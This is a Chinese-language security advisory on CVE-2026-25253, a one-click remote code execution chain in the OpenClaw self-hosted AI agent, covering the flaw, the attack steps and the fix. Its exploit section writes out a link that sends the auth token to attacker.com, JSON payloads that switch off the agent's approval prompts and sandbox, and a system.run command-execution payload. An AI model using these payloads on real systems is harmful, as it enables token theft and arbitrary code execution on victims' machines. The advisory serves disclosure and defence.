1. OpenClaw 介绍
OpenClaw(曾用名 Clawdbot、Moltbot)是一个开源的自主人工智慧个人助理项目,于2025年11月首次发布。它旨在为用户提供一个可自托管的、本地运行的AI代理,将大型语言模型(LLM)的能力与实际的系统操作权限深度整合。与将用户数据存储在云端的SaaS助理不同,OpenClaw部署在用户自己的设备上(如笔记本电脑、家庭服务器或VPS),从而确保了数据的私密性和控制权 。
该项目凭借其强大的功能和开放的架构,在开发者社区中迅速流行,其GitHub仓库在短期内获得了超过14.9万星标。OpenClaw能够集成iMessage、WhatsApp、Slack等多种即时通讯应用,并被授予较高的系统权限,例如读写文件和执行shell命令,以完成用户指派的复杂任务 。然而,这种“上帝模式”的权限设计,也为严重的安全漏洞埋下了伏笔。
2. OpenClaw 漏洞原理
CVE-2026-25253漏洞的CVSS 3.1评分为8.8(高危),其根源在于一个逻辑缺陷链,涉及令牌泄露、跨站WebSocket劫持和沙箱逃逸。整个攻击过程无需用户交互,点击链接即可触发。
2.1 核心漏洞链
该漏洞由三个关键环节串联而成,具体如下表所示:
|
环节 |
文件/模块 |
缺陷描述 |
|
令牌泄露 |
app-settings.ts |
控制界面盲目信任并持久化URL查询参数中的gatewayUrl。 |
app-lifecycle.ts |
在gatewayUrl被设置后,立即自动触发与新网关的连接。 |
|
gateway.ts |
在建立WebSocket连接时,自动将高权限的authToken发送给gatewayUrl。 |
|
|
跨站WebSocket劫持 (CSWSH) |
WebSocket服务器 |
未对连接请求的Origin头进行验证,允许来自任意源的连接。 |
|
沙箱逃逸 |
API |
攻击者可利用窃取的operator.admin和operator.approvals权限,通过API调用禁用安全防护机制。 |
首先,当用户点击一个包含恶意gatewayUrl参数的链接(例如 http://victim_openclaw.com?gatewayUrl=ws://attacker.com:8080 )时,OpenClaw的前端应用会不经验证就将攻击者的服务器地址保存为新的网关地址。随后,应用立即尝试与这个新地址建立WebSocket连接,并在连接请求中附上了本地存储的、用于身份验证的authToken。攻击者在其服务器上监听,即可轻松截获此令牌 。
其次,由于浏览器对WebSocket连接不实施同源策略(SOP),而OpenClaw的WebSocket服务器又未能验证Origin请求头,导致了跨站WebSocket劫持的可能。这意味着,攻击者可以在自己的恶意网站上通过JavaScript,让受害者的浏览器作为“跳板”,直接向运行在localhost上的OpenClaw实例发起WebSocket连接,从而绕过了网络限制 。
最后,攻击者利用窃取到的高权限令牌,可以通过API调用来关闭OpenClaw内置的安全机制。这些机制原本用于防御因提示注入(Prompt Injection)等导致的AI模型恶意行为,包括执行危险命令前的用户确认提示和在容器化沙箱中执行代码。攻击者可以轻易地将这些防护措施关闭,从而获得在主机上直接执行任意命令的能力 。
图1: OpenClaw架构及CVE-2026-25253漏洞路径
图2: OpenClaw One-Click RCE 利用链
3. OpenClaw POC/EXP
根据安全研究员Mav Levin披露的细节,完整的”一键RCE”攻击利用链(Exploit Chain)可在受害者访问恶意网页后的毫秒内完成。
图3: OpenClaw CVE-2026-25253 攻击流程
3.1 攻击流程
1.诱导点击:受害者被诱导访问一个攻击者控制的网页(例如 attacker.com)。
2.令牌窃取:该网页的JavaScript在后台打开一个指向受害者OpenClaw实例的URL,并附带指向攻击者服务器的gatewayUrl参数,从而将authToken发送至攻击者。
3.本地连接与提权:页面上的另一段JavaScript利用CSWSH漏洞,使用窃取到的令牌连接到受害者本地的OpenClaw WebSocket服务(默认为 ws://localhost:18789)。
4.禁用安全防护:攻击脚本发送API请求,关闭用户确认和沙箱模式。
禁用用户确认的Payload:
{“method”: “exec.approvals.set”,“params”: { “defaults”: { “security”: “full”, “ask”: “off” } }}
禁用沙箱的Payload:通过config.patch请求将tools.exec.host设置为gateway。
5.执行任意代码:最后,攻击脚本发送一个node.invoke请求,调用system.run命令在受害者主机上执行任意代码。
RCE Payload示例:
{“type”: “req”,“id”: “4”,“method”: “node.invoke”,“params”: {“nodeId”: “main”,“command”: “system.run”,“params”: {“cmd”: “bash -c ‘echo hacked > /tmp/hacked'” } }}
图4: 跨站WebSocket劫持(CSWSH)机制详解
4. 漏洞修复方案
OpenClaw团队迅速响应并发布了修复版本 2026.1.29。主要的修复措施是打破了自动连接的缺陷链,增强了用户交互的安全性。
“The patch adds a gateway URL confirmation modal, removing the auto-connect-without-prompt behavior.”
具体的修复措施包括:
增加确认对话框:当gatewayUrl参数被用于更改网关地址时,系统会弹出一个确认对话框,要求用户手动确认此项更改。
移除自动连接:彻底移除了在没有用户明确许可的情况下自动连接到新网关的行为。
官方建议所有用户立即升级到 v2026.1.29 或更高版本。此外,如果用户怀疑自己的认证令牌可能已经泄露,应立即进行轮换 。
5. 参考
[1] CSO. Clawdbot企业级智能体应用安全加固指南.” 2026-01-31.
[2] Levin, Mav. “1-Click RCE To Steal Your Moltbot Data and Keys (CVE-2026-25253).” depthfirst. 2026-02-01.
[3] National Vulnerability Database. “CVE-2026-25253.”
[4] GitHub. “Incorrect Resource Transfer Between Spheres in openclaw/openclaw.” GHSA-g8p2-7wf7-98mq.
原创文章,作者:首席安全官,如若转载,请注明出处:https://www.cncso.com/tw/openclaw-one-click-remote-code-execution.html



